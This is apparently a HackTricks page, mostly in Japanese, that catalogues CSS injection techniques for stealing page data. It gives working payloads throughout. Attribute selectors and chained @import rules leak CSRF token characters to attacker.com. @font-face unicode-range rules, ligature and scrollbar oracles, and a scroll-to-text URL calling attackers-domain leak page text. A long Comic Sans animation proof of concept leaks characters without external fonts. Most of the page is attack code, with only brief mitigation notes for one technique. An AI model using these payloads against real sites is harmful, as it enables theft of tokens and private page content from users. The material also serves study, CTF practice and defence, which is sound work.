CSS Injection

Support HackTricks

CSS Injection

Attribute Selector

CSSセレクタは、input要素のnameおよびvalue属性の値に一致するように作成されています。入力要素のvalue属性が特定の文字で始まる場合、あらかじめ定義された外部リソースが読み込まれます:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

しかし、このアプローチは、隠し入力要素(type="hidden")を扱う際に制限に直面します。隠し要素は背景を読み込まないためです。

隠し要素のバイパス

この制限を回避するために、~ 一般的な兄弟コンビネータを使用して、次の兄弟要素をターゲットにすることができます。CSSルールは、隠し入力要素の後に続くすべての兄弟に適用され、背景画像が読み込まれるようになります。

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

実際にこの技術を悪用する例は、提供されたコードスニペットに詳述されています。こちらで見ることができます here

CSSインジェクションの前提条件

CSSインジェクション技術が効果的であるためには、特定の条件を満たす必要があります:

  1. ペイロードの長さ: CSSインジェクションベクターは、作成されたセレクタを収容するのに十分な長さのペイロードをサポートする必要があります。

  2. CSSの再評価: ページをフレーム化する能力が必要であり、これは新しく生成されたペイロードでCSSの再評価をトリガーするために必要です。

  3. 外部リソース: この技術は、外部ホストされた画像を使用する能力を前提としています。これは、サイトのコンテンツセキュリティポリシー(CSP)によって制限される場合があります。

ブラインド属性セレクタ

この投稿で説明されているように:has:not セレクタを組み合わせて、ブラインド要素からでもコンテンツを特定することが可能です。これは、CSSインジェクションを読み込むウェブページの中身が全く分からない場合に非常に便利です。 また、これらのセレクタを使用して、同じタイプの複数のブロックから情報を抽出することも可能です。

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

この技術を次の**@import技術と組み合わせることで、blind-css-exfiltrationを使用して、盲目的なページから多くの情報を流出させることが可能です。

@import

前の技術にはいくつかの欠点がありますので、前提条件を確認してください。複数のリンクを被害者に送信できる必要があるか、CSSインジェクション脆弱ページをiframeできる必要があります。

しかし、**CSS @import**を使用して技術の質を向上させる別の巧妙な技術があります。

これは最初にPepe Vilaによって示され、次のように機能します:

同じページを何度も異なるペイロードで読み込む代わりに(前の方法のように)、ページを一度だけ攻撃者のサーバーへのインポートで読み込むことにします(これが被害者に送信するペイロードです):

@import url('//attacker.com:5001/start?');
  1. インポートは攻撃者からのCSSスクリプトを受け取ることになり、ブラウザはそれを読み込む

  2. 攻撃者が送信するCSSスクリプトの最初の部分は**再び攻撃者のサーバーへの別の@import**です。

  3. 攻撃者のサーバーはこのリクエストにはまだ応答しません。なぜなら、いくつかの文字を漏洩させた後に、次の文字を漏洩させるためのペイロードでこのインポートに応答したいからです。

  4. ペイロードの2番目で大きな部分は属性セレクタ漏洩ペイロードになります。

  5. これにより、攻撃者のサーバーに秘密の最初の文字と最後の文字が送信されます。

  6. 攻撃者のサーバーが秘密の最初と最後の文字を受け取ると、ステップ2で要求されたインポートに応答します

  7. 応答はステップ2、3、4と全く同じですが、今回は秘密の2番目の文字と次の最後の文字を見つけようとします

攻撃者は秘密を完全に漏洩させるまでそのループを続けます

元のPepe Vilaのコードをここで利用することができます または、ほぼ同じコードですがコメント付きのものをここで見つけることができます

スクリプトは毎回2文字を発見しようとします(最初からと最後から)なぜなら、属性セレクタは次のようなことを可能にするからです:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

これはスクリプトが秘密をより早く漏らすことを可能にします。

時々、スクリプトは接頭辞 + 接尾辞がすでに完全なフラグであることを正しく検出しないことがあり、接頭辞の方向に進み、接尾辞の方向に戻り、ある時点でハングします。 心配しないでください、出力を確認すれば、そこにフラグを見ることができます

その他のセレクタ

CSSセレクタを使用してDOMの部分にアクセスする他の方法:

  • .class-to-search:nth-child(2): これはDOM内の「class-to-search」クラスを持つ2番目のアイテムを検索します。

  • :empty セレクタ: 例えば、この解説で使用されています:

[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

参考: CSSベースの攻撃: @font-faceのunicode-rangeを悪用する, @terjanqによるエラーに基づくXS-Search PoC

全体の意図は、制御されたエンドポイントからカスタムフォントを使用し、指定されたリソース(favicon.ico)が読み込まれない場合にのみ、このフォントでテキスト(この場合は「A」)を表示することを保証することです。

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. カスタムフォントの使用:

  • カスタムフォントは、<head>セクション内の<style>タグを使用して@font-faceルールで定義されます。

  • フォントはpocと名付けられ、外部エンドポイント(http://attacker.com/?leak)から取得されます。

  • unicode-rangeプロパティはU+0041に設定され、特定のUnicode文字'A'をターゲットにします。

  1. フォールバックテキストを持つオブジェクト要素:

  • <body>セクションにid="poc0"を持つ<object>要素が作成されます。この要素はhttp://192.168.0.1/favicon.icoからリソースを読み込もうとします。

  • この要素のfont-familyは、<style>セクションで定義された'poc'に設定されています。

  • リソース(favicon.ico)の読み込みに失敗した場合、<object>タグ内のフォールバックコンテンツ(文字'A')が表示されます。

  • 外部リソースが読み込まれない場合、フォールバックコンテンツ('A')はカスタムフォントpocを使用してレンダリングされます。

スクロールテキストフラグメントのスタイリング

:target擬似クラスは、CSSセレクターレベル4仕様で指定されたURLフラグメントによってターゲットにされた要素を選択するために使用されます。::target-textは、テキストがフラグメントによって明示的にターゲットにされない限り、要素に一致しないことを理解することが重要です。

攻撃者がスクロールテキストフラグメント機能を悪用することで、HTMLインジェクションを通じて自分のサーバーからリソースを読み込むことにより、ウェブページ上の特定のテキストの存在を確認できるというセキュリティ上の懸念が生じます。この方法は、次のようなCSSルールを注入することを含みます:

:target::before { content : url(target.png) }

このようなシナリオでは、ページに「Administrator」というテキストが存在する場合、リソース target.png がサーバーからリクエストされ、テキストの存在が示されます。この攻撃のインスタンスは、注入されたCSSをScroll-to-textフラグメントと共に埋め込んだ特別に作成されたURLを通じて実行できます:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

ここでは、攻撃がHTMLインジェクションを操作してCSSコードを送信し、特定のテキスト「Administrator」をScroll-to-text fragment(#:~:text=Administrator)を通じて狙っています。テキストが見つかると、指定されたリソースが読み込まれ、攻撃者にその存在を知られることになります。

緩和策として、以下の点に注意する必要があります:

  1. 制約されたSTTFマッチング: Scroll-to-text Fragment(STTF)は、単語や文のみをマッチさせるように設計されており、任意の秘密やトークンを漏洩させる能力を制限しています。

  2. トップレベルのブラウジングコンテキストへの制限: STTFはトップレベルのブラウジングコンテキストでのみ機能し、iframe内では機能しないため、いかなる悪用の試みもユーザーにとってより目立つものになります。

  3. ユーザーのアクティベーションの必要性: STTFは動作するためにユーザーのアクティベーションジェスチャーを必要とし、つまり悪用はユーザーが開始したナビゲーションを通じてのみ可能です。この要件は、ユーザーのインタラクションなしに攻撃が自動化されるリスクを大幅に軽減します。それにもかかわらず、ブログ投稿の著者は、攻撃の自動化を容易にする特定の条件やバイパス(例:ソーシャルエンジニアリング、一般的なブラウザ拡張機能とのインタラクション)を指摘しています。

これらのメカニズムと潜在的な脆弱性を認識することは、ウェブセキュリティを維持し、そのような悪用的戦術から守るための鍵です。

詳細については、元の報告を確認してください: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

この技術を使用したCTFのエクスプロイトをこちらで確認できます

@font-face / unicode-range

特定のunicode値に対して外部フォントを指定することができ、そのunicode値がページに存在する場合にのみ収集されます。例えば:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

テキストノードの抽出 (I): リガチャ

参考文献: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

この技術は、フォントリガチャを利用してノードからテキストを抽出し、幅の変化を監視することを含みます。プロセスは以下のいくつかのステップから成ります:

  1. カスタムフォントの作成:

  • SVGフォントは、2文字のシーケンスを表すグリフに大きな幅を設定するhoriz-adv-x属性を持つグリフで作成されます。

  • 例 SVGグリフ: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>、ここで "XY" は2文字のシーケンスを示します。

  • これらのフォントは、fontforgeを使用してwoff形式に変換されます。

  1. 幅の変化の検出:

  • CSSを使用してテキストが折り返さないようにし(white-space: nowrap)、スクロールバーのスタイルをカスタマイズします。

  • 明確にスタイルされた水平スクロールバーの出現は、特定のリガチャ、したがって特定の文字シーケンスがテキストに存在することを示す指標(オラクル)として機能します。

  • 関連するCSS:

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. エクスプロイトプロセス:

  • ステップ1: 幅の大きい文字ペア用のフォントが作成されます。

  • ステップ2: 大きな幅のグリフ(文字ペアのリガチャ)が描画されるときに検出するために、スクロールバーを利用したトリックが使用されます。

  • ステップ3: リガチャを検出すると、検出されたペアを含む3文字のシーケンスを表す新しいグリフが生成され、前または後の文字が追加されます。

  • ステップ4: 3文字のリガチャの検出が行われます。

  • ステップ5: プロセスは繰り返され、テキスト全体が徐々に明らかになります。

  1. 最適化:

  • <meta refresh=...を使用した現在の初期化方法は最適ではありません。

  • より効率的なアプローチは、CSSの@importトリックを利用し、エクスプロイトのパフォーマンスを向上させることができます。

テキストノードの抽出 (II): デフォルトフォントを使用した文字セットの漏洩(外部アセットを必要としない)

参考文献: PoC using Comic Sans by @Cgvwzq & @Terjanq

このトリックはこのSlackersスレッドで公開されました。テキストノードで使用される文字セットは、ブラウザにインストールされているデフォルトフォントを使用して漏洩することができます:外部またはカスタムフォントは必要ありません。

この概念は、アニメーションを利用してdivの幅を徐々に拡大し、1文字ずつテキストの「サフィックス」部分から「プレフィックス」部分に移行させることに基づいています。このプロセスは、テキストを2つのセクションに分割します:

  1. プレフィックス: 初期行。

  2. サフィックス: 次の行。

文字の遷移段階は次のように表示されます:

C ADB

CA DB

CAD B

CADB

この遷移中に、unicode-rangeトリックが使用されて新しい文字がプレフィックスに加わるたびに識別されます。これは、フォントをComic Sansに切り替えることで達成され、Comic Sansはデフォルトフォントよりも明らかに高いため、垂直スクロールバーがトリガーされます。このスクロールバーの出現は、プレフィックスに新しい文字が存在することを間接的に示します。

この方法は、ユニークな文字が現れるときに検出を可能にしますが、どの文字が繰り返されているかを特定することはできず、繰り返しが発生したことだけを示します。

基本的に、unicode-rangeは文字を検出するために使用されますが、外部フォントを読み込むことは望ましくないため、別の方法を見つける必要があります。 文字見つかったとき、それは事前にインストールされたComic Sansフォント与えられ、文字が大きくなりスクロールバーがトリガーされ見つかった文字が漏洩します

Check the code extracted from the PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

テキストノードの抽出 (III): デフォルトフォントでの文字セットの漏洩(外部アセットを必要としない)

参考: これはこの書き込みでの失敗した解決策として言及されています

このケースは前のケースと非常に似ていますが、今回は特定の文字を他の文字より大きくする目的は、ボットに押されないボタンや読み込まれない画像のような何かを隠すことです。したがって、アクション(またはアクションの欠如)を測定し、特定の文字がテキスト内に存在するかどうかを知ることができます。

テキストノードの抽出 (III): キャッシュタイミングによる文字セットの漏洩(外部アセットを必要としない)

参考: これはこの書き込みでの失敗した解決策として言及されています

このケースでは、同じオリジンから偽のフォントを読み込むことで、テキストに文字が含まれているかどうかを漏洩させることを試みることができます:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

もし一致があれば、フォントは /static/bootstrap.min.css?q=1 から読み込まれます。成功裏に読み込まれることはありませんが、ブラウザはそれをキャッシュするはずです。キャッシュがなくても、304 not modified メカニズムがあるため、レスポンスは他のものよりも速くなるはずです

しかし、キャッシュされたレスポンスと非キャッシュのレスポンスの時間差が十分でない場合、これは役に立ちません。例えば、著者は次のように述べています:しかし、テストの結果、最初の問題は速度があまり変わらないことであり、二つ目の問題はボットが disk-cache-size=1 フラグを使用していることで、これは本当に考慮されています。

テキストノードの流出 (III): 数百のローカル「フォント」をタイミングで読み込むことによる文字セットの漏洩 (外部アセットを必要としない)

参考: これは この書き込みの中での失敗した解決策として言及されています

この場合、一致が発生したときに同じオリジンから数百の偽フォントを読み込むようにCSSを指示できます。この方法で、かかる時間を測定し、文字が現れるかどうかを次のようなもので確認できます:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

そしてボットのコードは次のようになります:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

そうであれば、フォントが一致しない場合、ボットを訪問した際の応答時間は約30秒になると予想されます。しかし、フォントが一致する場合、フォントを取得するために複数のリクエストが送信され、ネットワークは継続的に活動します。その結果、停止条件を満たして応答を受け取るまでに時間がかかります。したがって、応答時間はフォントの一致を判断する指標として使用できます。

References

Support HackTricks

Last updated